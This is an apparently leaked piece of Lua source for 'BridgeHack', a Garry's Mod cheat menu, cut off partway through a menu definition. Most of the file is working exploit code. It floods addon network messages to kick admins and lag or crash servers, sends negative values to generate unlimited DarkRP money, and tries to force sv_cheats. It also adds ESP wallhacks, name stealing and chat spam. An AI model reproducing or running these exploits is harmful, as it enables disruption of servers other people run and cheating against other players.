reloadeddunkalladmins()\x0a\x0aclearcon()\x0a\x0achatP(\"KICKING ADMINS..... (THIS WILL INCLUDE ANYONE WHO ISNT A USER!)\")\x0a\x0atimer.Create( \"heymnangng\", 3, 0, function()\x0a\x0afor k,v in ipairs(player.GetAll()) do\x0a\x0aif( v:GetUserGroup() != \"user\" ) then\x0a\x0aif v:Nick() != \"Gam\" then\x0a\x0afor i=0, 700 do\x0a\x0anet.Start( \"GetCar\" )\x0a\x0anet.WriteEntity(v)\x0a\x0anet.WriteEntity(v)\x0a\x0anet.SendToServer()\x0a\x0aend\x0a\x0achatP('Kicked: '.. v:Nick().. \"!\")\x0a\x0aend end end end)end\x0a\x0aconcommand.Add( \"bh_mx_kickadmins\", reloadeddunkalladmins, SVersionCheck )\x0a\x0a\x0a\x0afunction dloglag()\x0a\x0aclearcon()\x0a\x0aprint(\"Lagging server.\")\x0a\x0aclearcon()\x0a\x0aprint(\"Lagging server..\")\x0a\x0aclearcon()\x0a\x0aprint(\"Lagging server...\")\x0a\x0atimer.Create( \"dlogsisfucked\", 3, 0, function()\x0a\x0afor i=0, 7000 do\x0a\x0alocal tosend = {\x0a\x0a\x09cmd=\"+forward\",\x0a\x0a\x09args=\" \"\x0a\x0a\x09\x0a\x0a\x09}\x0a\x0a\x09net.Start('dLogsGetCommand')\x0a\x0a\x09net.WriteTable(tosend)\x0a\x0a\x09net.SendToServer()\x0a\x0a\x09\x0a\x0aend end) end\x0a\x0a\x0a\x0aconcommand.Add( \"bh_dlogs_lag\", dloglag, SVersionCheck )\x0a\x0aconcommand.Add( \"bh_dlogs_lag_off\", function()\x0a\x0a\x09clearcon()\x0a\x0a\x09consoleP(\"Stopping the lag...\")\x0a\x0a\x09chatP(\"Stopping the lag...\")\x0a\x0a\x09timer.Destroy(\"dlogisfucked\")\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_admins\", function()\x0a\x0aclearcon()\x0a\x0achatP(\"Listing non-players..\")\x0a\x0achatP(\"Check console.\")\x0a\x0aconsoleP(\"============= ULX | Custom admin mode RANKS ============\")\x0a\x0afor k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09if( v:GetUserGroup() != \"user\" ) then\x0a\x0a\x09\x09\x09\x09print(v:Nick().. \" | \".. v:GetUserGroup())\x0a\x0a\x09\x09end\x0a\x0aend\x0a\x0aconsoleP(\"========================================================\")\x0a\x0aend)\x0a\x0a\x0a\x0alocal Spammer = CreateClientConVar(\"bh_advert\", \"0\", true, false)\x0a\x0a\x0a\x0alocal function Spam()\x0a\x0a\x09if Spammer:GetBool() then\x0a\x0a\x09\x09RunConsoleCommand(\"say\", \"/advert I AM TOO COOL FOR SCHOOL !!!!!!\") --Whatever you want\x0a\x0a\x09end end\x0a\x0atimer.Create(\"Spam\", 1.5,0,Spam)\x0a\x0a\x0a\x0alocal player2kick = CreateClientConVar(\"g_mx_playername\", \" \", true, false)\x0a\x0afunction kickdaplayer()\x0a\x0atimer.Create( \"heymnangng2\", 3, 0, function()\x0a\x0afor k,v in ipairs(player.GetAll()) do\x0a\x0aif v:Nick() == GetConVar(\"g_mx_playername\") then\x0a\x0aclearcon()\x0a\x0aprint(\"Kicking: \")\x0a\x0aprint(v:Nick())\x0a\x0afor i=0, 700 do\x0a\x0anet.Start( \"GetCar\" )\x0a\x0anet.WriteEntity(v)\x0a\x0anet.WriteEntity(v)\x0a\x0anet.SendToServer()\x0a\x0aend\x0a\x0achatP(\"Kicked \".. v:Nick())\x0a\x0aconsoleP(\"Kicked \".. v:Nick())\x0a\x0aend end end) end\x0a\x0aconcommand.Add( \"bh_mx_kickplayer\", kickdaplayer, SVersionCheck )\x0a\x0a\x0a\x0aconcommand.Add(\"Bh_clearcon\",function()\x0a\x0a\x09clearcon()\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"Bh_clearchat\",function()\x0a\x0a\x09cleardchat()\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0a\x0a\x0aconcommand.Add(\"bh_3dcardealer_spamstore\",function()\x0a\x0a\x09chatP(\"You better be looking at a car\")\x0a\x0a\x09for i=0,100 do\x0a\x0a\x09clearcon()\x0a\x0a\x09chatP(\"Spamming store... \"..\"[\"..i..\"]\")\x0a\x0a\x09net.Start( \"RXCAR_Shop_Sell_C2S\" )\x0a\x0a\x09\x09net.WriteTable({EAA=sweg, CDAA})\x0a\x0a\x09net.SendToServer()\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_serverlist\",function()\x0a\x0a\x09status(\"Printing lise to console...\")\x0a\x0a\x09chatP(\"Check console.\")\x0a\x0a\x09clearcon()\x0a\x0a\x09consoleP(\"\"..serverlist..\"\")\x0a\x0a\x09status(\"Complete\")\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0afunction CheckAE()\x0a\x0a\x09\x0a\x0a\x09if requestTables then\x0a\x0a\x09\x09print(\"ae found, bh_ae will work\")\x0a\x0a\x09\x09chatP(\"AE was found, bh_ae will work.\")\x0a\x0a\x09else\x0a\x0a\x09\x09chatP(\"AE was not found, bh_ae will not work.\")\x0a\x0a\x09end end\x0a\x0aconcommand.Add(\"bh_aecheck\", CheckAE, SVersionCheck)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_ae_kickadmins\",function()\x0a\x0aclearcon()\x0a\x0achatP(\"Attempting to Kick admins\")\x0a\x0achatP(\"This will only work on admins+\")\x0a\x0atimer.Create( \"aekickdaskids\", 3, 0, function()\x0a\x0afor k,v in ipairs(player.GetAll()) do\x0a\x0aif( v:GetUserGroup() != \"user\" ) then\x0a\x0aif( v:GetUserGroup() != \"vip\" ) then\x0a\x0afor i=0, 1000 do\x0a\x0anet.Start('plyWarning')\x0a\x0a\x09\x09net.WriteEntity(v)\x0a\x0a\x09\x09net.WriteString('You have to select a player before doing a action.')\x0a\x0a\x09\x09net.SendToServer()\x0a\x0aend\x0a\x0achatP('Attempting to kick: '.. v:Nick().. \"!\")\x0a\x0a\x0a\x0aend end end end) end)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_namesteal_on\",function()\x0a\x0a\x09status(\"Running Script: Random Name Change [name steal]....\")\x0a\x0a\x09\x0a\x0a\x09timer.Create(\"startNAMECHANGEsteal\", 0.12, 0, function()\x0a\x0a\x09\x09local plylastname = ply:Nick()\x0a\x0a\x09\x09for k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09\x09local ligger_type = math.random(1,2)\x0a\x0a\x09\x09\x09local ligger_type1 = math.random(1,2)\x0a\x0a\x09\x09\x09status(\"Trying Name change to \" .. v:Nick() .. \" - \" .. v:SteamID())\x0a\x0a\x09\x09\x09if ligger_type1 == ligger_type then\x0a\x0a\x09\x09\x09\x09status(\"Name Changing to \" .. v:Nick() .. \" - \" .. v:SteamID())\x0a\x0a\x09\x09\x09\x09if plylastname == v:Nick() then\x0a\x0a\x09\x09\x09\x09\x09local ligger_type = math.random(1,2)\x0a\x0a\x09\x09\x09\x09\x09local ligger_type1 = math.random(1,2)\x0a\x0a\x09\x09\x09\x09else\x0a\x0a\x09\x09\x09\x09\x09ply:ConCommand(\"darkrp name \" .. v:Nick() .. math.random(1,10))\x0a\x0a\x09\x09\x09\x09\x09status(\"Changed Name to \" .. v:Nick() .. \" - \" .. v:SteamID())\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09local ligger_type = math.random(1,2)\x0a\x0a\x09\x09\x09\x09local ligger_type1 = math.random(1,2)\x0a\x0a\x09\x09\x09end end end) end)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_namesteal_off\",function()\x0a\x0a\x09timer.Destroy(\"startNAMECHANGEsteal\",0.12,0,function()\x0a\x0a\x09end) end)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_removelookingat\",function()\x0a\x0a\x09chatP(\"Removing prop looking at...\")\x0a\x0a\x09net.Start( \"MDE_RemoveStuff_C2S\" ) \x0a\x0a\x09\x09net.WriteTable( {DATA=\"\",TARGET=sweg} ) \x0a\x0a\x09net.SendToServer()\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"__bh_lagdarkrpdashit\",function()\x0a\x0a\x09chatP(\"Starting the lag...\")\x0a\x0a\x09timer.Create(\"lag\"..BridgeHack.RandomVar, 1, 0, function()\x0a\x0a\x09\x09for i=1,10000 do\x0a\x0a\x09\x09\x09net.Start(\"DarkRP_spawnPocket\")\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x09\x09status(\"PROGRESS[10000/10000]\")\x0a\x0a\x09\x09\x0a\x0a\x09\x09end) end)\x0a\x0a\x09\x09\x0a\x0aconcommand.Add( \"__bh_stopplag\",function( )\x0a\x0a\x09chatP(\"Stopping the lag...\")\x0a\x0a\x09timer.Destroy(\"lag\"..BridgeHack.RandomVar)\x0a\x0aend)\x0a\x0a\x0a\x0aif dspam == true then\x0a\x0a\x09chatP(\"Spam split / make shipment ON\")\x0a\x0a\x09timer.Create(\"spamdashit\"..BridgeHack.RandomVar,0.1,function()\x0a\x0a\x09\x09for k,v in pairs(ents.GetAll()) do \x0a\x0a\x09\x09\x09if v.Entity:GetString() == \"spawned_shipment\" then \x0a\x0a\x09\x09\x09\x09status(\"Splitting shipment\") \x0a\x0a\x09\x09\x09\x09RunConsoleCommand(\"darkrp\",\"splitshipment\",v.Entity:EntIndex())\x0a\x0a\x09\x09\x09elseif v.Entity:GetClassName() == \"spawned_weapon\" then \x0a\x0a\x09\x09\x09\x09status(\"Making shipment\")\x0a\x0a\x09\x09\x09\x09RunConsoleCommand(\"darkrp\",\"makeshipment\",v.Entity:EntIndex())\x0a\x0a\x09\x09\x09end end end) end\x0a\x0a\x09\x09\x09\x0a\x0aif dspam == false then \x0a\x0a\x09chatP(\"Spam split / make shipment OFF\")\x0a\x0a\x09timer.Simple(1,function()\x0a\x0a\x09\x09timer.Destroy(\"spamdashit\"..BridgeHack.RandomVar,function()\x0a\x0a\x09\x09end) end) end\x0a\x0a\x09\x09\x0a\x0aconcommand.Add(\"bh_kun_ziptie_untie\",function()\x0a\x0a\x09chatP(\"Untieing...\")\x0a\x0a\x09for i=0,30 do \x0a\x0a\x09\x09net.Start(\"Kun_ZiptieStruggle\")\x0a\x0a\x09\x09net.SendToServer()\x0a\x0a\x09end\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"___darkrpshipments\", function()\x0a\x0a\x09if dspam != true then\x0a\x0a\x09\x09dspam = true\x0a\x0a\x09elseif dspam == true then\x0a\x0a\x09\x09dspam = false\x0a\x0a\x09end end)\x0a\x0a\x0a\x0alocal function BridgeHackCHECK(v) \x0a\x0a\x09if v:Alive() == true && v:Health() ~= 0 && v:Health() >= 0 && v ~= LocalPlayer() && LocalPlayer():Alive() then\x0a\x0a\x09\x09return true\x0a\x0a\x09else\x0a\x0a\x09\x09return false\x0a\x0a\x09end end\x0a\x0a\x0a\x0ahook.Add(\"HUDPaint\", \"JESP\", function() \x0a\x0a\x09for k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09if GetConVarNumber(\"bh_esp\") > 0 then\x0a\x0a\x09\x09\x09if(v ~= LocalPlayer() and BridgeHackCHECK(v)) then\x0a\x0a\x09\x09\x09\x09if GetConVarNumber(\"bh_renderdistance_enable\") > 0 then\x0a\x0a\x09\x09\x09\x09\x09if LocalPlayer():GetPos():Distance(v:GetPos()) < GetConVarNumber(\"bh_esp_rdistance\") then\x0a\x0a\x09\x09\x09\x09\x09\x09local PlayerESP = (v:EyePos()):ToScreen()\x0a\x0a\x09\x09\x09\x09\x09\x09local infocolor = Color(GetConVarNumber(\"bh_esp_infocolor_r\"),GetConVarNumber(\"bh_esp_infocolor_g\"),GetConVarNumber(\"bh_esp_infocolor_b\"))\x0a\x0a\x09\x09\x09\x09\x09\x09local infocolor = Color(GetConVarNumber(\"bh_esp_infocolor_r\"),GetConVarNumber(\"bh_esp_infocolor_g\"),GetConVarNumber(\"bh_esp_infocolor_b\"))\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09draw.DrawText(v:Name(), \"BudgetLabel\", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_rank\") > 0 then \x0a\x0a\x09\x09\x09\x09\x09\x09\x09draw.DrawText(v:GetUserGroup(), \"BudgetLabel\", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_hp\") > 0 then\x0a\x0a\x09\x09\x09\x09\x09\x09\x09local infocolor = Color(255,0,255)\x0a\x0a\x09\x09\x09\x09\x09\x09\x09draw.DrawText(v:Health() .. \" HP\", \"BudgetLabel\", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09local col = team.GetColor(v:Team()) -- looped into esp (square box) \x0a\x0a\x09\x09\x09\x09\x09\x09local min, max = v:WorldSpaceAABB()\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09min, max = min:ToScreen(), max:ToScreen()\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09local h = (min.y / 2) - (max.y / 2)\x0a\x0a\x09\x09\x09\x09\x09\x09surface.SetDrawColor(col.g, col.b, col.r)\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_box\") > 0 then \x0a\x0a\x09\x09\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)\x0a\x0a\x09\x09\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)\x0a\x0a\x09\x09\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)\x0a\x0a\x09\x09\x09\x09\x09\x09end end\x0a\x0a\x09\x09\x09\x09else \x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09local PlayerESP = (v:EyePos()):ToScreen()\x0a\x0a\x09\x09\x09\x09local infocolor = Color(0,255,0)\x0a\x0a\x09\x09\x09\x09local infocolor = Color(GetConVarNumber(\"bh_esp_infocolor_r\"),GetConVarNumber(\"bh_esp_infocolor_g\"),GetConVarNumber(\"bh_esp_infocolor_b\"))\x0a\x0a\x09\x09\x09\x09draw.DrawText(v:Name(), \"BudgetLabel\", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_rank\") > 0 then\x0a\x0a\x09\x09\x09\x09\x09draw.DrawText(v:GetUserGroup(), \"BudgetLabel\", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_hp\") > 0 then\x0a\x0a\x09\x09\x09\x09\x09local infocolor = Color(GetConVarNumber(\"bh_esp_infocolor_r\"),GetConVarNumber(\"bh_esp_infocolor_g\"),GetConVarNumber(\"bh_esp_infocolor_b\"))\x0a\x0a\x09\x09\x09\x09\x09draw.DrawText(v:Health() .. \" HP\", \"BudgetLabel\", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09local col = team.GetColor(v:Team()) -- looped into esp (square box) \x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09local min, max = v:WorldSpaceAABB()\x0a\x0a\x09\x09\x09\x09min, max = min:ToScreen(), max:ToScreen()\x0a\x0a\x09\x09\x09\x09local h = (min.y / 2) - (max.y / 2)\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09surface.SetDrawColor(col.g, col.b, col.r)\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_box\") > 0 then \x0a\x0a\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)\x0a\x0a\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)\x0a\x0a\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)\x0a\x0a\x09\x09\x09\x09end end end end end end)\x0a\x0a\x0a\x0afunction blur_on()\x0a\x0a\x09DrawMaterialOverlay( \"Models/effects/comball_tape\", 0.5 )\x0a\x0aend \x0a\x0a\x0a\x0afunction blur_off()\x0a\x0a\x09DrawMaterialOverlay( \"\", 0.1 )\x0a\x0aend\x0a\x0a\x0a\x0aconcommand.Add(\"+bh_menu\", function( ply ) \x0a\x0a\x09status(\"Menu Opened.\")\x0a\x0a\x09if GetConVarNumber(\"bh_menu_effects\") == 1 then\x0a\x0a\x09\x09hook.Add( \"RenderScreenspaceEffects\", \"BlurBG\", blur_on )\x0a\x0a\x09end\x0a\x0a--[[\x0a\x0a\x09mainmenu\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09THE MAIN\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09MENU\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09STARTS\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09HERE\x0a\x0a\x09\x0a\x0a\x09|\x0a\x0a\x09V\x0a\x0a]]--\x0a\x0alocal menu = DermaMenu() \x0a\x0amenu:Center()\x0a\x0amenu:AddOption( \"BridgeHack \"..dlversion, function() \x0a\x0a\x09AboutMenu()\x0a\x0aend ):SetImage( \"icon16/shield.png\" )\x0a\x0amenu:AddSpacer()\x0a\x0afunction menu:Paint( w, h )\x0a\x0a\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(255,255,255,150), true, true, true, true )\x0a\x0a\x09draw.RoundedBoxEx( 4, 0, 0, w, 22, Color(255,137,0,200), true, true, false, false )\x0a\x0a\x09surface.SetDrawColor( 0,0,0 )\x0a\x0a\x09surface.DrawOutlinedRect( 0, 0, w, h)\x0a\x0aend\x0a\x0alocal ForcingMenu, optMenu = menu:AddSubMenu(\"Client-side Forcing\")\x0a\x0a\x0a\x0aForcingMenu:AddOption( \"Force sv_allowcslua 1\", function() \x0a\x0a\x09ply:ConCommand(\"incrementvar sv_allowcslua 0 1 1\")\x0a\x0a\x09status(\"Forced SV_ALLOWCSLUA TO 1\")\x0a\x0aend):SetImage( \"icon16/link_error.png\" )\x0a\x0a\x0a\x0aForcingMenu:AddOption( \"Force sv_cheats 1\", function() \x0a\x0a\x09ply:ConCommand(\"incrementvar sv_cheats 0 1 1\")\x0a\x0a\x09status(\"Forced SV_CHEATS TO 1\")\x0a\x0aend):SetImage( \"icon16/link_error.png\" )\x0a\x0a\x0a\x0alocal ESP = menu:AddSubMenu(\"ESP\")\x0a\x0a\x0a\x0aESP:AddOption( \"[ON] ESP\", ESP_on):SetImage( \"icon16/group_add.png\" )\x0a\x0aESP:AddOption( \"[OFF] ESP\", ESP_off):SetImage( \"icon16/group_delete.png\" )\x0a\x0a\x0a\x0alocal Speed = menu:AddSubMenu(\"Speed\")\x0a\x0aSpeed:AddOption( \"[ON] SpeedHack\", speedhack_on):SetImage( \"icon16/lightning_go.png\" )\x0a\x0aSpeed:AddOption( \"[OFF] SpeedHack\", speedhack_off):SetImage( \"icon16/lightning_delete.png\" )\x0a\x0a\x0a\x0a\x0a\x0alocal NameStealSub = menu:AddSubMenu( \"Name Stealing/Changing\" )\x0a\x0aNameStealSub:AddOption( \"[ON] Name Steal\", function()\x0a\x0a\x09ply:ConCommand(\"bh_namesteal_on\")\x0a\x0aend ):SetImage( \"icon16/book_addresses.png\" )\x0a\x0a\x0a\x0aNameStealSub:AddOption( \"[OFF] Name Steal\", function()\x0a\x0a\x09status(\"Stopped Script: Random Name Change [name steal]\")\x0a\x0a\x09ply:ConCommand(\"bh_namesteal_off\")end ):SetImage( \"icon16/book.png\" )\x0a\x0a\x09\x0a\x0alocal MoneyExploits = menu:AddSubMenu( \"DarkRP Money Explots\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption(\"[$$] Drug Sell\",function()\x0a\x0a\x09\x09for i=1,1000 do\x0a\x0a\x09\x09\x09net.Start(\"Kun_SellDrug\")\x0a\x0a\x09\x09\x09net.WriteString(\"Meth\")\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] Taxi Driver Money\",function()\x0a\x0a\x09\x09chatp(\"Giving money\")\x0a\x0a\x09\x09net.Start(\"Taxi_Add\")\x0a\x0a\x09\x09\x09net.WriteString(\"MLG\")\x0a\x0a\x09\x09\x09net.WriteTable({-1333.647461, -1473.931763, -139.968750})\x0a\x0a\x09\x09\x09net.WriteFloat(-99999999)\x0a\x0a\x09\x09\x09net.WriteString(Desc)\x0a\x0a\x09\x09net.SendToServer()\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] SS Shelf NET\",function() \x0a\x0a\x09\x09chatP(\"Attempting to give money..\")\x0a\x0a\x09\x09for k,v in pairs(ents.GetAll()) do \x0a\x0a\x09\x09\x09swag = v \x0a\x0a\x09\x09end\x0a\x0a\x09\x09net.Start( 'NET_SS_DoBuyTakeoff' ) \x0a\x0a\x09\x09\x09net.WriteEntity(LocalPlayer()) \x0a\x0a\x09\x09\x09net.WriteEntity(swag) \x0a\x0a\x09\x09\x09net.WriteTable({'spawned_weapon'}) \x0a\x0a\x09\x09\x09net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16) \x0a\x0a\x09\x09\x09net.SendToServer() \x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] HITMAN MONEY\",function() \x0a\x0a\x09\x09chatP(\"Attempting to give money..\")\x0a\x0a\x09\x09net.Start( \"DaHit\" )\x0a\x0a\x09\x09\x09net.WriteFloat( -1000000000000000000000 )\x0a\x0a\x09\x09\x09--net.WriteFloat( tm )\x0a\x0a\x09\x09\x09net.WriteEntity( LocalPlayer() )\x0a\x0a\x09\x09\x09net.WriteEntity( LocalPlayer() )\x0a\x0a\x09\x09\x09net.WriteEntity( LocalPlayer() )\x0a\x0a\x09\x09net.SendToServer()\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] HHH MONEY\",function()\x0a\x0a\x09\x09local ply = LocalPlayer()\x0a\x0a\x09\x09for k,v in pairs(player.GetAll()) do \x0a\x0a\x09\x09\x09dahater = v\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09local hitRequest = {}\x0a\x0a\x09\x09hitRequest.hitman = ply\x0a\x0a\x09\x09hitRequest.requester = ply\x0a\x0a\x09\x09hitRequest.target = dahater\x0a\x0a\x09\x09hitRequest.reward = 100000000\x0a\x0a\x09\x09\x0a\x0a\x09\x09net.Start( 'hhh_request' )\x0a\x0a\x09\x09\x09net.WriteTable( hitRequest )\x0a\x0a\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption(\"[$$] BOONPC\",function()\x0a\x0a\x09\x09net.Start('BuyCar')\x0a\x0a\x09\x09net.WriteFloat(-1000000000000)\x0a\x0a\x09\x09net.WriteEntity(LocalPlayer())\x0a\x0a\x09\x09net.WriteString(\"BridgeHack\")\x0a\x0a\x09\x09net.WriteString(\"BridgeHack\")\x0a\x0a\x09\x09net.WriteString(\"BridgeHack\")\x0a\x0a\x09\x09net.SendToServer()\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption(\"[$$] Hitman X Menu\",function()\x0a\x0a\x09local frame = vgui.Create( \"DFrame\" )\x0a\x0a\x09\x09frame:Center()\x0a\x0a\x09\x09frame:SetSize( 200,150 )\x0a\x0a\x09\x09frame:SetTitle( \"\" )\x0a\x0a\x09\x09frame:MakePopup()\x0a\x0a\x09\x09frame:ShowCloseButton( false )\x0a\x0a\x09function frame:Paint( w, h )\x0a\x0a\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )\x0a\x0a\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )\x0a\x0a\x09\x09draw.SimpleText( \"BridgeHack Hitman X Menu\", \"Default\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09end\x0a\x0a\x0a\x0a\x09local playerMenu = vgui.Create( \"DComboBox\", frame )\x0a\x0a\x09\x09playerMenu:SetPos( 10,40 )\x0a\x0a\x09\x09playerMenu:SetSize( 120,20 )\x0a\x0a\x09\x09playerMenu:SetText( \"Select a Player\")\x0a\x0a\x09for k, v in pairs( player.GetAll() ) do\x0a\x0a\x09\x09playerMenu:AddChoice( tostring( v:Name() ) )\x0a\x0a\x09\x09playerMenu:SetTextColor(color_black)\x0a\x0a\x09end\x0a\x0a\x0a\x0a\x09local Button = vgui.Create(\"DButton\", frame)\x0a\x0a\x09\x09Button:SetPos( 180, 2 )\x0a\x0a\x09\x09Button:SetSize( 20, 20 )\x0a\x0a\x09\x09Button:SetText( \"\" )\x0a\x0a\x09\x09function Button:Paint( w, h )\x0a\x0a\x09\x09\x09draw.SimpleText( \"X\", \"Default\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09Button.DoClick = function()\x0a\x0a\x09\x09\x09frame:Close()\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09local SpamHit = vgui.Create(\"DButton\", frame )\x0a\x0a\x09\x09SpamHit:SetPos( 20,70 )\x0a\x0a\x09\x09SpamHit:SetSize( 150,20 )\x0a\x0a\x09\x09SpamHit:SetText( \"Get Money\" )\x0a\x0a\x09\x09SpamHit:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09SpamHit.DoClick = function()\x0a\x0a\x09\x09\x09local v = playerMenu:GetText()\x0a\x0a\x09\x09\x09net.Start( \"SendMoney\" )\x0a\x0a\x09\x09\x09\x09net.WriteEntity( v )\x0a\x0a\x09\x09\x09\x09net.WriteEntity( v )\x0a\x0a\x09\x09\x09\x09net.WriteEntity( v )\x0a\x0a\x09\x09\x09\x09net.WriteString( \"-100000000000000000000000000000000000000000\" )\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09local CrashButton = vgui.Create(\"DButton\", frame )\x0a\x0a\x09\x09CrashButton:SetPos( 20,90 )\x0a\x0a\x09\x09CrashButton:SetSize( 150,20 )\x0a\x0a\x09\x09CrashButton:SetText( \"Crash Server\" )\x0a\x0a\x09\x09CrashButton:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09CrashButton.DoClick = function()\x09\x09\x09\x09\x0a\x0a\x09\x09\x09for i=0, 10 do\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_hitmanxcrash\")\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09local InfaButton = vgui.Create(\"DButton\", frame )\x0a\x0a\x09\x09InfaButton:SetPos( 20,110 )\x0a\x0a\x09\x09InfaButton:SetSize( 150,20 )\x0a\x0a\x09\x09InfaButton:SetText( \"Infinite Money For Everyone\" )\x0a\x0a\x09\x09InfaButton:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09InfaButton.DoClick = function()\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_hitmanxinfa\")\x0a\x0a\x09\x09end\x0a\x0a\x09end):SetImage( \"icon16/application_form.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] HITMENU\",function()\x0a\x0a\x09\x09local HitPanel = vgui.Create( \"DFrame\" )\x0a\x0a\x09\x09\x09HitPanel:SetPos( ScrW()/5, ScrH()/10 )\x0a\x0a\x09\x09\x09HitPanel:SetSize( 300, 200 )\x0a\x0a\x09\x09\x09HitPanel:SetTitle( \" \" )\x0a\x0a\x09\x09\x09HitPanel:SetVisible( true )\x0a\x0a\x09\x09\x09HitPanel:SetDraggable( true )\x0a\x0a\x09\x09\x09HitPanel:ShowCloseButton( false 